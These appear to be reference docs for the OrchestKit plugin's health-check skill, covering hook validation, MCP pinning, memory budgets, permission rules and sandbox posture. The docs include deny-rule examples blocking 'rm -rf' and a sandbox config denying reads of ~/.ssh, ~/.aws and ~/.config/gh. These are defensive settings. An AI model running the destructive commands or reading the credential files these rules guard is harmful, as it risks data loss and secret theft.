- All 15 features available
```

**Degraded:**
```
Claude Code: 2.1.44 (DEGRADED)
- Minimum required: 2.1.220
- Missing: last_assistant_message, added_dirs, Windows hooks, worktree discovery
- Upgrade: npm install -g @anthropic-ai/claude-code@latest
```

## External Dependencies

**Installed (agent-browser ≥ 0.26 — structured doctor):**
```
External Dependencies:
agent-browser: OK (chrome=128.0.6613.137, net=✓)
```

**Installed but degraded:**
```
External Dependencies:
agent-browser: DEGRADED (chrome=128.0.6613.137, net=✗)
  ↳ HIGH: daemon not reachable on port 9222 — try `agent-browser daemon restart`
```

**Installed (agent-browser &lt; 0.26 — legacy fuzzy probe):**
```
External Dependencies:
agent-browser: installed (legacy probe — upgrade to 0.26+ for structured doctor)
```

**Not installed:**
```
External Dependencies:
agent-browser: NOT INSTALLED (optional — install via vercel-labs/agent-browser ≥ 0.26)
```

## Plugin Validate

**Pass (CC >= 2.1.77):**
```
Plugin Validate: PASSED
- claude plugin validate: 0 errors, 0 warnings
```

**Fail (CC >= 2.1.77):**
```
Plugin Validate: FAILED
- claude plugin validate: 2 errors
  - src/skills/broken/SKILL.md: missing required field "description"
  - src/hooks/hooks.json: invalid matcher pattern at hooks[3]
- Fix errors and re-run: npm run build && claude plugin validate
```

**Skipped (CC &lt; 2.1.77):**
```
Plugin Validate: SKIPPED (requires CC >= 2.1.77)
- Falling back to OrchestKit custom validation only
```

## Managed Settings Policy (CC >= 2.1.92)

**OK — forceRemoteSettingsRefresh with endpoint:**
```
Managed Settings: OK
- forceRemoteSettingsRefresh: enabled
- Remote endpoint configured
```

**Warning — forceRemoteSettingsRefresh without endpoint:**
```
Managed Settings: WARNING
- forceRemoteSettingsRefresh: enabled but no remote settings endpoint detected
- This will block startup if network is unavailable
- Configure a remote endpoint or remove forceRemoteSettingsRefresh
```

**Info — not set:**
```
Managed Settings: OK (default)
- forceRemoteSettingsRefresh: not set (falls back to cached settings)
```

**MCP connector conflict (CC >= 2.1.92 fix):**
```
MCP Servers: WARNING
- Plugin MCP server "{name}" duplicates a claude.ai connector
- Prior to CC 2.1.92 this caused stuck "connecting" state
- Consider setting ENABLE_CLAUDEAI_MCP_SERVERS=false or renaming the plugin server
```


### Hook Validation

# Hook Validation

## Overview

OrchestKit uses 154 global hook entries across 29 event types, compiled into 11 bundles. This reference explains how to validate and troubleshoot hooks.

## Hook Architecture

```
hooks.json (63 global + 22 agent-scoped + 1 skill-scoped entries)
    ↓
12 TypeScript bundles (dist/*.mjs)
    ↓
9 async hooks use fire-and-forget pattern
```

## Platform Support

| Platform | Hook Status | Notes |
|----------|------------|-------|
| macOS | Full support | Native execution |
| Linux | Full support | Native execution |
| Windows | Full support (CC 2.1.47+) | Uses Git Bash instead of cmd.exe |

**Windows support history:**
- **Before CC 2.1.47**: All hooks silently failed on Windows (cmd.exe incompatible)
- **CC 2.1.47**: Fixed by executing hooks via Git Bash instead of cmd.exe
- **PR #645**: OrchestKit added Windows-safe spawning (no console flashing, no ENAMETOOLONG)

**Cross-platform safety measures in OrchestKit hooks:**
- `paths.ts` provides cross-platform path handling (`os.homedir()`, `os.tmpdir()`, `path.join()`)
- CRLF normalization (`\r\n` → `\n`) in subagent-validator, decision-history, common.ts
- Windows backslash path normalization in structure-location-validator
- Windows-specific test cases for paths, CRLF, and permission handling

## Hook Categories

| Event Type | Count | Purpose |
|------------|-------|---------|
| PreToolUse | 14 | Before tool execution |
| SubagentStart | 7 | Before agent spawn |
| SubagentStop | 7 | After agent completes |
| PostToolUse | 6 | After tool execution |
| Setup | 6 | Plugin initialization |
| SessionStart | 5 | Session initialization |
| UserPromptSubmit | 5 | Prompt enhancement |
| PermissionRequest | 3 | Auto-approval logic |
| SessionEnd | 3 | Session cleanup |
| TeammateIdle | 3 | Teammate idle handling |
| Stop | 2 | Conversation end |
| Notification | 2 | Desktop/sound alerts |
| PostToolUseFailure | 1 | Failed tool handling |
| PreCompact | 1 | Before context compaction |
| TaskCompleted | 1 | Task completion handling |
| **Total Global** | **66** | |

## Bundle Structure

| Bundle | Handlers | Async |
|--------|----------|-------|
| agent.mjs | Agent hooks | No |
| lifecycle.mjs | Session lifecycle | Yes |
| notification.mjs | Alerts | Yes |
| permission.mjs | Auto-approve | No |
| posttool.mjs | Post-execution | Yes |
| pretool.mjs | Pre-execution | No |
| prompt.mjs | Prompt enhancement | Yes |
| setup.mjs | Initialization | Yes |
| skill.mjs | Skill-scoped hooks | No |
| stop.mjs | Conversation end | Yes |
| subagent.mjs | Agent lifecycle | No |

## Validation Checks

### 1. hooks.json Schema

```bash
# Validate hooks.json structure
cat src/hooks/hooks.json | jq '.hooks | keys'
```

### 2. Bundle Existence

```bash
# Check all bundles exist
ls -la src/hooks/dist/*.mjs
```

### 3. Async Hook Pattern

Async hooks use fire-and-forget scripts:

```bash
# 9 fire-and-forget scripts required (updated CC 2.1.47)
ls src/hooks/bin/*-fire-and-forget.mjs
```

### 4. Matcher Syntax

Valid matcher patterns:

```json
{
  "matcher": "Bash",           // Exact tool name
  "matcher": "Write|Edit",     // Multiple tools
  "matcher": "*",              // All tools
  "matcher": "mcp__*"          // Wildcard prefix
}
```

## Debug Mode (Issue #243)

Silent hooks run in detached background processes. Enable debug mode to monitor them.

### Enable Debug Logging

Create `.claude/hooks/debug.json`:

```json
{
  "enabled": true,
  "verbose": false,
  "includeInput": false,
  "hookFilters": []
}
```

### View Debug Logs

```bash
# Recent background hook activity
tail -f .claude/logs/background-hooks.log

# Filter by hook name
grep "unified-dispatcher" .claude/logs/background-hooks.log
```

### Hook Metrics

Execution metrics tracked in `.claude/hooks/metrics.json`:

```json
{
  "hooks": {
    "posttool/unified-dispatcher": {
      "totalRuns": 42,
      "successCount": 41,
      "errorCount": 1,
      "avgDurationMs": 150
    }
  }
}
```

### PID Tracking

```bash
# Check for orphaned processes
for f in .claude/hooks/pids/*.pid; do
  pid=$(jq -r '.pid' "$f" 2>/dev/null)
  if [ -n "$pid" ] && ! kill -0 "$pid" 2>/dev/null; then
    echo "Orphaned: $f"
    rm "$f"
  fi
done
```

## Troubleshooting

### Hook not firing

1. Check matcher pattern matches tool name
2. Verify bundle exists in dist/
3. Check hooks.json registration

### Hook timing out

Default timeout: 120s (bash), 600s (CC 2.1.3+)

### Exit Codes

| Code | Meaning |
|------|---------|
| 0 | Success / Allow |
| 1 | Error (logged, continues) |
| 2 | Block (stops execution) |


### Mcp Pinning Check

# MCP Pinning Check (Category 12 sub-check)

Warns when `.mcp.json` resolves HIGH-tier MCP servers to `@latest`. HIGH-tier
upstream packages are pre-1.0 or beta-surface — a breaking change can land on
any `npx -y` fetch with no signal.

**Closes:** #1462. Split from #1446 (MCP audit).

## Tier Source-of-Truth

`src/skills/mcp-patterns/references/mcp-version-matrix.md`

| Tier | Criteria | Packages |
|---|---|---|
| **HIGH** | Pre-1.0 upstream, API may change without notice | `@21st-dev/magic` |
| **MEDIUM** | Active upstream, semver, used in many skills | `@upstash/context7-mcp`, `tavily-mcp`, `fal-ai-mcp` |
| **LOW** | Stable API, calendar-versioned | `@modelcontextprotocol/server-sequential-thinking`, `@modelcontextprotocol/server-memory` |

## Detection

The check parses `.mcp.json` and for each non-disabled entry extracts the npm
package + version specifier from `args` (handles both `npx -y pkg@x` and
`sh -c "... npx -y pkg@x"` shapes). Local servers (e.g., `node ./server.mjs`)
are skipped.

Hosted HTTP entries (`\{"type": "http", "url": "..."\}`) carry no `args` and no npm
package, so they classify as `&lt;unknown&gt;` and are skipped too. That is correct:
version pinning is a property of the npx transport only, and upstream versions a
hosted endpoint server-side. A context7 entry that stops appearing in this check
after moving to `https://mcp.context7.com/mcp` has not regressed.

For each enabled remote server:

| Spec | Tier | Behavior |
|---|---|---|
| `pkg@&lt;concrete&gt;` | any | OK |
| `pkg` or `pkg@latest` | HIGH | **WARN** (exit 1) |
| `pkg` or `pkg@latest` | MEDIUM | informational only (exit 0) |
| `pkg` or `pkg@latest` | LOW | silent (exit 0) |

## Output

**HIGH-tier @latest detected:**
```
MCP pinning: 1 HIGH-tier server(s) resolve to @latest
    ⚠ 21st-dev-magic (@21st-dev/magic)
    → Consider pinning to concrete versions in .mcp.json
    → See src/skills/mcp-patterns/references/mcp-version-matrix.md
```

**MEDIUM-tier only:**
```
MCP pinning: 3 MEDIUM-tier server(s) at @latest (informational)
    ℹ context7 (@upstash/context7-mcp)
    ℹ tavily (tavily-mcp)
    ℹ fal (fal-ai-mcp)
```

**OK:**
```
MCP pinning: OK (no HIGH-tier @latest entries)
```

## Script

`src/skills/doctor/scripts/check-mcp-pinning.sh` — invokable standalone or via
`/ork:doctor` Category 12.

```bash
# Standalone
src/skills/doctor/scripts/check-mcp-pinning.sh

# JSON for CI
src/skills/doctor/scripts/check-mcp-pinning.sh --json

# Test fixture
src/skills/doctor/scripts/check-mcp-pinning.sh --mcp-json /tmp/test.json
```

Exit codes: `0` = OK or absent, `1` = HIGH-tier @latest found, `2` = usage error.

## Tests

`tests/skills/test-mcp-pinning-check.sh` — 18 assertions across 7 fixtures
covering HIGH/MEDIUM/LOW tier classification, disabled entries, local servers,
JSON output shape, and missing-file handling.


### Memory Health

# Memory Health

## Overview

OrchestKit uses graph memory for knowledge persistence. Doctor validates it with automated checks.

## Automated Health Check

The `memory-health.ts` library provides `checkMemoryHealth()` which returns a `MemoryHealthReport`:

```typescript
interface MemoryHealthReport {
  overall: 'healthy' | 'degraded' | 'unavailable';
  timestamp: string;
  graph: {
    status: TierStatus;
    memoryDir: boolean;        // .claude/memory/ exists
    decisions: FileHealth;     // decisions.jsonl analysis
    graphQueue: FileHealth;    // graph-queue.jsonl depth
  };
}
```

Each `FileHealth` includes: `exists`, `lineCount`, `corruptLines`, `sizeBytes`, `lastModified`.

## Status Meanings

| Status | Meaning |
|--------|---------|
| `healthy` | Graph memory operational, no issues |
| `degraded` | Working but with issues (corrupt data, high queue depth) |
| `unavailable` | Not configured or missing critical components |

## Graph Memory

Local knowledge graph stored in `.claude/memory/`.

### Validation Commands

```bash
# Check directory exists
ls -la .claude/memory/

# Count decisions
wc -l .claude/memory/decisions.jsonl

# Check graph queue depth
wc -l .claude/memory/graph-queue.jsonl 2>/dev/null

# Validate JSONL integrity (each line must be valid JSON)
while IFS= read -r line; do
  echo "$line" | python3 -m json.tool > /dev/null 2>&1 || echo "CORRUPT: $line"
done < .claude/memory/decisions.jsonl
```

### Health Indicators

- Directory exists: `.claude/memory/`
- `decisions.jsonl`: Valid JSONL, no corrupt lines
- `graph-queue.jsonl`: Queue depth &lt; 50 (high depth = sync backlog)
- No corruption: every line parses as valid JSON

### Degraded Conditions

- **Corrupt lines**: One or more JSONL lines fail to parse
- **High queue depth**: >50 pending graph operations (sync backlog)
- **Missing directory**: Graph memory never initialized

## Auto-Memory Index Budget

Separate from the graph store above: the harness injects a per-project
**auto-memory index** (`MEMORY.md`) into context every session. CC loads only
the **first 200 lines OR first 25 KB, whichever comes first** — anything past
either limit is silently dropped (per code.claude.com/docs/memory). CC gives no
warning as you approach those caps; this check makes it actionable by pointing
at the fix (`/ork:dream`). A growing index also busts the prompt cache, since it
changes whenever a memory is written.

The index lives under `~/.claude/projects/&lt;encoded-cwd&gt;/memory/MEMORY.md` — the
harness encodes the project path by replacing both `/` and `.` with `-`.

```bash
# Auto-memory index budget check (CC caps at 200 lines OR 25 KB, whichever first).
# ORK_MEM_INDEX override is for the unit test; default derives the per-project index.
MEM_INDEX="${ORK_MEM_INDEX:-$HOME/.claude/projects/$(echo "$PWD" | sed 's|[/.]|-|g')/memory/MEMORY.md}"
BUDGET_BYTES=24986   # 24.4 KB — conservative vs CC's 25 KB load cap
BUDGET_LINES=200     # CC loads the first 200 lines OR 25 KB, whichever comes first

if [ -f "$MEM_INDEX" ]; then
  bytes=$(wc -c < "$MEM_INDEX" | tr -d ' ')
  lines=$(wc -l < "$MEM_INDEX" | tr -d ' ')
  # index lines over ~200 chars are the usual re-bloat cause
  long=$(awk 'length > 200 && /^- \[/' "$MEM_INDEX" | wc -l | tr -d ' ')
  if [ "$bytes" -gt "$BUDGET_BYTES" ]; then
    echo "WARN: MEMORY.md index ${bytes}B > ${BUDGET_BYTES}B budget — run /ork:dream to consolidate"
  elif [ "$lines" -gt "$BUDGET_LINES" ]; then
    echo "WARN: MEMORY.md index ${lines} lines > ${BUDGET_LINES} (CC drops the rest) — run /ork:dream"
  elif [ "$long" -gt 0 ]; then
    echo "WARN: ${long} index line(s) > 200 chars — run /ork:dream (re-bloat risk)"
  else
    echo "OK: MEMORY.md index within budget (${bytes}B, ${lines} lines)"
  fi
fi
```

> `/context` shows what's currently loaded into the window (CC's native view);
> this check is the budget **warning** CC doesn't provide on its own.

### Health Indicators

- Index size ≤ 24.4 KB (conservative vs CC's 25 KB load cap)
- Index ≤ 200 lines total (CC loads the first 200 lines OR 25 KB, whichever first)
- Every index line ≤ ~200 chars (detail belongs in the linked topic file, not the index)
- Fix for all three: `/ork:dream` rebuilds the index, capping line length and pruning stale entries

## Troubleshooting

### Graph memory missing

```bash
# Initialize graph
mkdir -p .claude/memory
```

The first `/ork:remember` call will create `decisions.jsonl`.

### Corrupt JSONL lines

```bash
# Find corrupt lines
python3 -c "
import json, sys
with open('.claude/memory/decisions.jsonl') as f:
    for i, line in enumerate(f, 1):
        try: json.loads(line)
        except: print(f'Line {i}: {line.strip()[:80]}')
"
```

### High queue depth

Queue items accumulate if the stop dispatcher doesn't run (e.g., session crash). The queue-recovery hook processes orphaned queues on the next session start.


### Permission Rules

# Permission Rules Analysis

## Overview

CC 2.1.3 added detection for unreachable permission rules. This reference explains how to diagnose and fix permission issues.

## Common Issues

### 1. Unreachable Rules

A rule is unreachable when a more general rule already matches:

```json
// PROBLEM: Second rule never matches
{
  "permissions": [
    { "path": "**/*.md", "action": "allow" },
    { "path": "README.md", "action": "deny" }  // Unreachable!
  ]
}
```

**Fix:** Order rules from specific to general:

```json
{
  "permissions": [
    { "path": "README.md", "action": "deny" },
    { "path": "**/*.md", "action": "allow" }
  ]
}
```

### 2. Shadowed Rules

When two rules match the same pattern with different actions:

```json
// PROBLEM: Both match, but first wins
{
  "permissions": [
    { "matcher": "Bash", "action": "allow" },
    { "matcher": "Bash", "commands": ["rm"], "action": "deny" }
  ]
}
```

**Fix:** Use more specific matchers:

```json
{
  "permissions": [
    { "matcher": "Bash", "commands": ["rm", "rm -rf"], "action": "deny" },
    { "matcher": "Bash", "action": "allow" }
  ]
}
```

### 3. Invalid Patterns

Glob patterns that will never match:

```json
// PROBLEM: Typo in pattern
{
  "permissions": [
    { "path": "**.md", "action": "allow" }  // Should be **/*.md
  ]
}
```

## Validation Commands

```bash
# Check for unreachable rules
jq '.permissions // [] | to_entries | map(select(.value.action == "allow"))' \
  .claude/settings.json

# List all permission matchers
jq '.permissions // [] | map(.matcher) | unique' .claude/settings.json
```

## Best Practices

1. Order rules from most specific to least specific
2. Use explicit deny rules before catch-all allow rules
3. Test rules with actual tool invocations
4. Review rules after plugin updates

### Remediation Guide

# Remediation Guide

Quick remediation steps for common `/ork:doctor` findings.

## Interpreting Results

| Status | Meaning | Action |
|--------|---------|--------|
| All checks pass | Plugin healthy | None required |
| Skills warning | Invalid frontmatter | Run `npm run test:skills` |
| Agents warning | Invalid frontmatter | Run `npm run test:agents` |
| Hook error | Missing/broken hook | Check hooks.json and bundles |
| Memory warning | Graph unavailable | Check .claude/memory/ directory |
| Build warning | Out of sync | Run `npm run build` |
| Permission warning | Unreachable rules | Review `.claude/settings.json` |
| Plugin validate error | CC frontmatter/hooks.json invalid | Run `claude plugin validate` and fix reported errors |

## Troubleshooting

### "Skills validation failed"

```bash
# Run skill structure tests
npm run test:skills
./tests/skills/structure/test-skill-md.sh
```

### "Build out of sync"

```bash
# Rebuild plugins from source
npm run build
```

### "Memory unavailable"

```bash
# Check graph memory
ls -la .claude/memory/
```

### "Plugin validate failed"

```bash
# Run CC's official validator (requires CC >= 2.1.77)
claude plugin validate

# Fix reported errors, then rebuild and re-validate
npm run build
claude plugin validate
```

### "Stale plugin paths in PATH"

CC ≤ 2.1.127 occasionally left `installed_plugins.json` entries pointing at deleted cache directories, polluting `PATH` for subprocesses. CC 2.1.128+ scrubs those automatically — no maintenance needed at our floor (2.1.220). If you see plugin commands failing with `command not found` after uninstalling a plugin on CC &lt; 2.1.128, upgrade.

### "Auto mode unable to evaluate"

CC 2.1.128+ adds a hint to the auto-mode classifier failure path. When you see:

```
Auto mode could not evaluate this action.
  hint: retry, use /compact, or run with --debug
```

Pick whichever applies — `/compact` if context is full, `--debug` to see the classifier's reasoning, retry if it was transient.

### "Logged out after laptop wake"

If multiple CC sessions all logged themselves out at the same moment after the laptop woke from sleep, that is the pre-2.1.129 OAuth refresh race — concurrent wake-time refreshes invalidated the active token across every running session.

**Fix**: upgrade to CC ≥ 2.1.129 (our floor is 2.1.220, so anyone on the supported window is already fixed). Recover the session with:

```bash
claude /login
```

Then `claude --resume` the affected session(s). Checkpoint state in `.claude/pipeline-state.json` survives — see `checkpoint-resume` skill for resume semantics.

If logouts after wake persist on CC ≥ 2.1.129, the cause is no longer the race — investigate the refresh token (expired, keychain ACL changed, 1Password locked) instead.

### "All concurrent sessions 401 simultaneously"

If you had multiple CC sessions open (worktree-isolated agents, parallel `/ork:implement` chains, multi-tab work) and every one of them dead-ended at `401 Unauthorized` at the same instant — that is the pre-2.1.133 parallel-session refresh-token race. A refresh-token rotation fired in one session, the other sessions raced against it, and they all wound up holding the now-invalidated old token.

**Fix**: upgrade to CC ≥ 2.1.133 (our floor is 2.1.220, so the supported window is already past this). Recover the stuck sessions with:

```bash
claude /login
```

Then `claude --resume` the affected sessions. Worktree state in each agent's branch is unaffected.

If "all sessions 401 at once" still reproduces on CC ≥ 2.1.133, the cause is no longer this race — check the refresh token itself (expired, revoked by the IdP, keychain ACL changed, 1Password locked). See also the "Logged out after laptop wake" entry above for the related 2.1.129 wake-from-sleep race.

### "EnterWorktree drops my unpushed commits"

If a worktree spawned via `EnterWorktree`, `--worktree`, or an agent run with `isolation: "worktree"` is missing commits you made locally but never pushed — and `git log` in the new worktree starts from `origin/&lt;default-branch&gt;` instead of your current `HEAD` — that is CC 2.1.133's new `worktree.baseRef` default at work. CC 2.1.133 added the setting with default `"fresh"`, which branches new worktrees from `origin/&lt;default&gt;` rather than local `HEAD` (the 2.1.128–2.1.132 behavior).

**Fix**: set `worktree.baseRef: "head"` in `.claude/settings.json` (project) or `~/.claude/settings.json` (user):

```json
{
  "worktree": {
    "baseRef": "head"
  }
}
```

After adding the setting, spawn a fresh worktree — the new one will branch from local `HEAD` and include your unpushed commits. Existing worktrees that were created without the setting need to be recreated; you can recover their work by cherry-picking commits from the original branch first.

See `$\{CLAUDE_PLUGIN_ROOT\}/skills/chain-patterns/references/worktree-agent-pattern.md` for the full agent-isolation context, and `$\{CLAUDE_PLUGIN_ROOT\}/skills/configure/references/cc-version-settings.md` (CC 2.1.133 section) for the upstream change description.


### Report Format

# Doctor Report Format

## ASCII Report

**Full ork plugin:**
```
+===================================================================+
|                    OrchestKit Health Report                        |
+===================================================================+
| Version: {version}  |  CC: {cc_version}  |  Plugins: ork          |
+===================================================================+
| Skills           | 67/67 valid                                    |
| Agents           | 37/37 valid                                    |
| Hooks            | 87/87 entries (11 bundles)                     |
| Memory           | Graph memory healthy                           |
| MCP              | context7 ✓  memory ✓  tavily ○                |
| Permissions      | 12/12 reachable                                |
| Schemas          | 15/15 compliant                                |
| Context          | 1850/2200 tokens (84%)                         |
| Coordination     | 0 stale locks                                  |
| CC Version       | {cc_version} (OK)                              |
| Plugin Validate  | PASSED (0 errors)                                |
+===================================================================+
| Status: HEALTHY (11/11 checks passed)                             |
+===================================================================+
```

> **Note:** `\{version\}` is read from `package.json` at runtime. `\{cc_version\}` is detected from Claude Code. Counts reflect installed plugin — dynamic, not hardcoded.


## JSON Output (CI Integration)

```bash
/ork:doctor --json
```

```json
{
  "version": "{version}",
  "claudeCode": "{cc_version}",
  "status": "healthy",
  "plugins": {
    "installed": ["ork"],
    "count": 1
  },
  "checks": {
    "skills": {"passed": true, "count": 67, "perPlugin": {"ork": 67}},
    "agents": {"passed": true, "count": 37, "perPlugin": {"ork": 37}},
    "hooks": {"passed": true, "entries": 87, "bundles": 12, "source": "ork"},
    "memory": {"passed": true, "available": ["graph"]},
    "mcp": {"passed": true, "servers": {"context7": "enabled", "memory": "enabled", "sequential-thinking": "disabled", "tavily": "disabled"}},
    "permissions": {"passed": true, "count": 12},
    "schemas": {"passed": true, "count": 15},
    "context": {"passed": true, "usage": 0.84},
    "coordination": {"passed": true, "staleLocks": 0},
    "ccVersion": {"passed": true, "version": "2.1.47"},
    "pluginValidate": {"passed": true, "errors": 0, "warnings": 0, "skipped": false}
  },
  "exitCode": 0
}
```

## Exit Codes

| Code | Meaning |
|------|---------|
| 0 | All checks pass |
| 1 | One or more checks failed |


### Sandbox Posture

# Check 15: CC Bash-Sandbox Posture

**Severity: info** — this is a *recommendation*, never a hard gate. Claude Code's
OS sandbox is opt-in and Bash-only; doctor surfaces whether it's on and nudges it,
but a session is healthy without it.

## What it is

Claude Code ships a native **Bash sandbox** (`/sandbox` → Seatbelt on macOS,
bubblewrap on Linux/WSL2). OrchestKit ships **zero** sandbox config by design —
isolation is the harness's job, not a plugin's. So most users never turn it on
and don't know it exists. This check makes the posture visible.

There is **no runtime API** for a hook to read sandbox state, so the only signal
is the settings files. Treat a missing `sandbox.enabled` key as "off / unknown".

**Read all four scopes.** The real-world config usually lives in
`~/.claude/settings.json` (user settings proper), not `settings.local.json` —
a check that reads only the local files reports "off / unknown" against a machine
where the sandbox is on (measured 2026-08-22: live config in user settings.json,
Check 15 blind to it).

## The check

Resolve `sandbox.enabled` across the scopes (project overrides user; within a
scope, `settings.local.json` overrides `settings.json`), and note whether the two
highest-value hardening keys are set:

```bash
read_key() { [ -f "$1" ] && jq -r "$2 // empty" "$1" 2>/dev/null; }
# precedence: project local > project > user local > user
resolve() {
  local v
  for f in ".claude/settings.local.json" ".claude/settings.json" \
           "$HOME/.claude/settings.local.json" "$HOME/.claude/settings.json"; do
    v="$(read_key "$f" "$1")"; [ -n "$v" ] && { echo "$v"; return; }
  done
}
proj=".claude/settings.local.json"
user="$HOME/.claude/settings.json"

enabled="$(resolve '.sandbox.enabled')"
deny_read="$(resolve '.sandbox.filesystem.denyRead | length')"
net_allow="$(resolve '.sandbox.network.allowedDomains | length')"

case "$enabled" in
  true)  echo "✅ sandbox: ON   (denyRead entries: ${deny_read:-0}, network allowlist: ${net_allow:-0})" ;;
  false) echo "⚠️ sandbox: explicitly OFF" ;;
  *)     echo "⚠️ sandbox: not configured (running unsandboxed)" ;;
esac
```

## Reporting + nudge

- `sandbox.enabled == true` → report ON. If `denyRead` is empty, add: *"sandbox on
  but `~/.ssh` / `~/.aws` are still readable — add them to `sandbox.filesystem.denyRead`."*
- `false` / unset → emit the nudge below.

**Nudge (info-level):**

```
Run /sandbox to enable Claude Code's OS Bash-sandbox. Starter config for
.claude/settings.local.json:

  "sandbox": {
    "enabled": true,
    "filesystem": { "denyRead": ["~/.ssh", "~/.aws", "~/.config/gh"] },
    "network":    { "allowedDomains": ["github.com", "registry.npmjs.org",
                                       "pypi.org", "api.anthropic.com"] }
  }
```

## Honest limits — STATE THESE IN THE OUTPUT, do not hide them

- **Bash-only.** The sandbox confines Bash subprocesses. The Read/Write tools,
  MCP servers, and hooks run **unsandboxed** on the host. Turning it on raises the
  floor; it is **not** full agent containment.
- **`~/.ssh` is readable by default** unless `sandbox.filesystem.denyRead` is set —
  the nudge above includes it for exactly this reason.
- **No detection API.** `settings.local.json` is the only signal; a session running
  sandboxed via CLI flag without the settings key reads here as "not configured".
  **Partial exception since CC 2.1.229**: native `/doctor` flags ambiguous entries in
  `sandbox.network` domain lists. That is one class of misconfiguration, not a
  posture check, and it still cannot tell you whether the sandbox is actually on.

## Domain-list spelling (CC >= 2.1.229)

`sandbox.network` domain lists changed shape in 2.1.229. Two rules now apply:

- **Bracket IPv6 literals**: `"[::1]:443"`, not `"::1:443"`. An unbracketed literal
  is ambiguous about where the address ends and the port begins.
- **Ambiguous spellings fail closed and are flagged by `/doctor`.** Before 2.1.229 an
  ambiguous entry could fail *open*, silently widening the allowlist. Prefer bare
  hostnames (`github.com`) and add a port only when you mean to scope to it.

The starter config above is unaffected: 4 plain hostnames, no IPv6 literal, no port.
Keep it that way, and keep the `denyRead` entries free of a trailing slash (a trailing
slash silently voided the deny rule before CC 2.1.224).

This pairs with the runtime network-egress guard (#2533): the guard blocks known
exfil patterns at the policy layer; the sandbox adds a real OS boundary. Neither is
a substitute for the other. See milestone #160.

## Sub-check 15b: recent sandbox violations (macOS unified log)

**Severity: warn on findings, warn on unobservable.** macOS keeps a system-wide
sandbox violation log: every *reporting* Seatbelt denial lands in the unified log
as a kernel message with sender `Sandbox`. anthropic-experimental/sandbox-runtime
describes this as real-time notifications with detailed information about what
was attempted and why it was blocked. Nothing in a CC session surfaces those
rows, so this sub-check runs a bounded, read-only query and reports what it sees.

**Script:** `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/scripts/check-sandbox-violations.sh`

```bash
# Bounded, read-only. Verified live 2026-08-21 on Darwin 25.5.0:
/usr/bin/log show --last 15m --style compact --predicate 'sender == "Sandbox"'
# Sample row it returns:
#   kernel[0:...] (Sandbox) Sandbox: ecosystemd(2048) deny(1) file-read-data /Library/Preferences/com.apple.security.plist

"${CLAUDE_PLUGIN_ROOT}/skills/doctor/scripts/check-sandbox-violations.sh" --window 15m
"${CLAUDE_PLUGIN_ROOT}/skills/doctor/scripts/check-sandbox-violations.sh" --json
"${CLAUDE_PLUGIN_ROOT}/skills/doctor/scripts/check-sandbox-violations.sh" --process 'bash|node|python|git'
```

Exit codes: `0` observed + clean, `1` observed + deny events found, `2`
UNOBSERVABLE (fail closed, see below), `3` skipped (non-macOS), `4` usage error.

### The check MUST fail closed

The `log` CLI refuses to run from inside a sandbox. Measured 2026-08-21 from a
CC sandboxed Bash call: exit 64, stderr `log: Cannot run while sandboxed`. When
that happens the script reports **UNOBSERVABLE** and exits 2. It never converts
"could not look" into "zero violations": a denied instrument is a finding, not a
zero. Doctor reports the denial verbatim and prints the exact command to re-run
from an unsandboxed shell.

### Honest limits, state these in the output

- **Reporting denials only.** Sandbox profiles can deny *without* reporting.
  Measured 2026-08-21: a write denied by CC's own Bash sandbox
  (`touch /etc/...` returned `Operation not permitted`) left **no** unified-log
  row within the query window. Zero reported events is therefore not proof of
  zero denials; the script's clean-path output says so explicitly.
- **System-wide, not session-scoped.** The unified log mixes in platform daemons
  (`ecosystemd`, `ecosystemanalyticsd`, mach-lookup noise). Those are normal
  background traffic. Attribution to the session is best-effort: use
  `--process 'bash|node|python|git'` to focus on rows naming session tooling.
- **macOS only.** On Linux, sandbox denials surface via auditd/journald, which
  this check does not read; it exits 3 with an explicit skip reason instead of
  passing silently.


### Schema Validation

# Schema Validation

## Overview

OrchestKit uses JSON schemas to validate configuration files. This reference explains how to validate and fix schema issues.

## Schemas

Located in `.claude/schemas/`:

| Schema | Validates |
|--------|-----------|
| `plugin.schema.json` | `plugin.json` |
| `skill files` | All `SKILL.md` files |
| `context.schema.json` | Context protocol files |
| `coordination.schema.json` | Work registry and decision log |

## Validation Commands

### Validate All

```bash
./tests/schemas/validate-all.sh
```

### Validate Specific File

```bash
# Using ajv
npx ajv validate \
  -s .claude/schemas/skill files \
  -d .claude/skills/doctor/SKILL.md

# Using jq for basic structure check
jq empty .claude/skills/doctor/SKILL.md
```

## Common Schema Errors

### Missing Required Field

```json
// ERROR: Missing "description"
{
  "name": "my-skill",
  "version": "1.0.0"
}
```

**Fix:** Add all required fields:

```json
{
  "$schema": "../../schemas/skill files",
  "name": "my-skill",
  "version": "1.0.0",
  "description": "Description of the skill",
  "capabilities": ["capability-1"]
}
```

### Invalid Type

```json
// ERROR: capabilities must be array
{
  "capabilities": "single-capability"
}
```

**Fix:** Use correct type:

```json
{
  "capabilities": ["single-capability"]
}
```

### Pattern Mismatch

```json
// ERROR: version must match semver
{
  "version": "1.0"
}
```

**Fix:** Use proper semver:

```json
{
  "version": "1.0.0"
}
```

## Batch Validation

```bash
# Validate all SKILL.md files
for category in skills/*/.claude/skills; do for f in "$category"/*/SKILL.md; do
  npx ajv validate \
    -s .claude/schemas/skill files \
    -d "$f" || echo "INVALID: $f"
done
```

## Creating Valid Files

Use schema as a template:

```bash
# View required fields
jq '.required' .claude/schemas/skill files

# View property types
jq '.properties | to_entries | map({key: .key, type: .value.type})' \
  .claude/schemas/skill files
```

### Settings Posture

# Check 16: Operator Settings Posture

**Severity: warn.** Every finding here is a *recommendation* to write something into
a scope Claude Code actually reads. Doctor never edits a settings file; it prints the
exact JSON and the operator pastes it. A session runs fine with all of these missing.
It just runs with less protection than the old docs implied.

## The constraint, stated once so nobody re-adds these to the plugin

A plugin's bundled `settings.json` is **not a settings scope**. `plugins-reference.md`
line 858, verbatim:

> Default configuration applied when the plugin is enabled. Only the `agent` and
> `subagentStatusLine` keys are currently supported.

`settings.md:15-24` enumerates the scopes CC merges: **Managed / User / Project /
Local**. A plugin bundle is not among them. So `permissions`, `sandbox`, `env`,
`fileSuggestion`, `plansDirectory` and friends are **inert** inside a plugin no
matter how correct their values are. That is why this check exists: the controls
below can only be real in the *operator's* own settings, and the only honest thing
ork can do is detect their absence and hand over the JSON.

Two live proofs this was inert rather than merely undocumented, both measured
2026-08-09: ork declared `plansDirectory: ".claude/plans"` and that directory has
never existed in any checkout while the default `~/.claude/plans` does; ork declared
`sandbox.enabled: true` **with `failIfUnavailable: true`**, which would have
hard-failed startup or sandboxed every Bash call, and neither has ever happened.

